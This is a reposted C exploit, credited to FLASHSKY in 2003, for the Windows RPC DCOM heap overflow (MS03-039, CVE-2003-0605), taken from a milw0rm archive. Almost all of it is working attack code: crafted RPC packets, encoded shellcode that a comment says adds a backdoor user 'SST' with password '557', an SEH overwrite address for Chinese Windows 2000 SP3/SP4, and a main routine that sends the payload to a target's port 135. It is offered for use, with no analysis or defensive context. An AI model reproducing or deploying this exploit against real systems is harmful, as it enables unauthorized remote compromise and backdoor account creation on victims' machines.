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Microsoft Windows - 'RPC DCOM2' Remote (MS03-039) - CVE-2003-0605

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Mar 2nd, 2024
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  1. /*
  2.         RPCDCOM2.c  ver1.1
  3.         copy by FLASHSKY flashsky at xfocus.org  2003.9.14
  4.    */
  5. #include <stdio.h>
  6. #include <winsock2.h>
  7. #include <windows.h>
  8. #include <process.h>
  9. #include <string.h>
  10. #include <winbase.h>
  11.  
  12. unsigned char bindstr[]={
  13. 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
  14. 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  15. 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
  16. 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
  17. 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
  18.  
  19. unsigned char request1[]={
  20. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
  21. ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
  22. ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
  23. ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
  24. ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
  25. ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
  26. ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
  27. ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
  28. ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
  29. ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  30. ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  31. ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
  32. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
  33. ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
  34. ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  35. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
  36. ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
  37. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
  38. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
  39. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
  40. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
  41. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
  42. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
  43. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
  44. ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
  45. ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
  46. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
  47. ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  48. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  49. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  50. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  51. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
  52. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
  53. ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
  54. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
  55. ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
  56. ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
  57. ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
  58. ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  59. ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
  60. ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
  61. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
  62. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
  63. ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
  64. ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
  65. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  66. ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
  67. ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
  68. ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  69. ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
  70. ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
  71. ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  72. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
  73. ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
  74. ,0x00,0x00,0x00,0x00,0x00,0x00};
  75.  
  76. unsigned char request2[]={
  77. 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
  78. ,0x00,0x00,0x5C,0x00,0x5C,0x00};
  79.  
  80. unsigned char request3[]={
  81. 0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
  82. 0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
  83. ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  84. ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  85. ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
  86.  
  87.  
  88.  
  89. unsigned char sccnsp3sp4[]=
  90.     "\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
  91.     "\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
  92.  
  93.     "\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
  94.     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
  95.     "\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
  96.     "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"    
  97.  
  98. //SHELLCODE From  SAM ,THANKs !
  99. //Add user SST,password is 557,
  100. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
  101. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  102.  
  103. "\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
  104. "\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
  105. "\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
  106. "\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
  107. "\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
  108. "\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
  109. "\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
  110. "\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
  111. "\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
  112. "\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
  113. "\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
  114. "\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
  115. "\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
  116. "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
  117. "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
  118. "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
  119. "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
  120. "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
  121. "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
  122. "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
  123. "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
  124.  
  125.     "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
  126.     "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
  127.     "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
  128.     "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
  129.     "\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
  130.     "\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
  131.     "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90"     //
  132.     "\x90\x90\x90\x90\x90\x90\x90\x90"
  133.     "\x77\xe0\x43\x00\x00\x10\x5c\x00"
  134.     "\xeb\x1e\x01\x00"//     FOR CN SP3/SP4+-MS03-26
  135.     "\x4C\x14\xec\x77"//    TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
  136.  
  137.  
  138. //FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form  my artic
  139. //"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
  140. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
  141. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  142. "\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
  143. "\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
  144. "\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
  145. "\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
  146. "\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
  147. "\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
  148. "\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
  149. "\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
  150. "\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
  151. "\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
  152. "\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
  153. "\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
  154. "\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
  155. "\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
  156. "\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
  157. "\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
  158. "\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
  159. "\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
  160. "\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
  161. "\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
  162. "\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
  163. "\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
  164. "\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
  165. "\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
  166. "\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
  167. "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
  168.  
  169. "\x04\x04\x00\x70\x00\x04\x40"
  170. "\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
  171.  
  172. "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
  173.  
  174.  
  175. unsigned char request4[]={
  176. 0x01,0x10
  177. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
  178. ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
  179. ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  180. };
  181.  
  182. void main(int argc,char ** argv)
  183. {
  184.     WSADATA WSAData;
  185.     SOCKET sock;
  186.     int len,len1;
  187.     SOCKADDR_IN addr_in;
  188.     short port=135;
  189.     unsigned char buf1[0x1000];
  190.     unsigned char buf2[0x1000];
  191.  
  192.     printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
  193.     printf("Code by FlashSky,Flashsky xfocus org\n");
  194.     printf("Welcome to our Site: http://www.xfocus.org\n");
  195.     printf("Welcome to our Site: http://www.venustech.com.cn\n");
  196.     if(argc!=2)
  197.     {
  198.         printf("%s targetIP \n",argv[0]);
  199.         printf("for cn w2k server sp3/sp4+ms03-26\n");
  200.     }
  201.    
  202.     if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  203.     {
  204.         printf("WSAStartup error.Error:%d\n",WSAGetLastError());
  205.         return;
  206.     }
  207.  
  208.     addr_in.sin_family=AF_INET;
  209.     addr_in.sin_port=htons(port);
  210.     addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  211.    
  212.     if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  213.     {
  214.         printf("Socket failed.Error:%d\n",WSAGetLastError());
  215.         return;
  216.     }
  217.     len1=sizeof(request1);
  218.     len=sizeof(sccnsp3sp4);
  219.  
  220.     if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  221.     {
  222.         printf("Connect failed.Error:%d",WSAGetLastError());
  223.         return;
  224.     }
  225.     memcpy(buf2,request1,sizeof(request1));
  226.     *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;  
  227.     *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;
  228.     memcpy(buf2+len1,request2,sizeof(request2));
  229.     len1=len1+sizeof(request2);
  230.     memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));
  231.     len1=len1+sizeof(sccnsp3sp4);
  232.     memcpy(buf2+len1,request3,sizeof(request3));
  233.     len1=len1+sizeof(request3);
  234.     memcpy(buf2+len1,request4,sizeof(request4));
  235.     len1=len1+sizeof(request4);
  236.     *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
  237.  
  238.     *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;  
  239.     *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
  240.     *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
  241.     *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
  242.     *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
  243.     *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
  244.     *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
  245.     if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
  246.     {
  247.             printf("Send failed.Error:%d\n",WSAGetLastError());
  248.             return;
  249.     }
  250.    
  251.     len=recv(sock,buf1,1000,NULL);
  252.     if (send(sock,buf2,len1,0)==SOCKET_ERROR)
  253.     {
  254.             printf("Send failed.Error:%d\n",WSAGetLastError());
  255.             return;
  256.     }
  257. //    len=recv(sock,buf1,1024,NULL);
  258. }
  259.  
  260. /*
  261.  
  262. */
  263.  
  264. // milw0rm.com [2003-09-20]
  265.            
Tags: Exploit windows CVE Vulnerability microsoft RPC DCOM2
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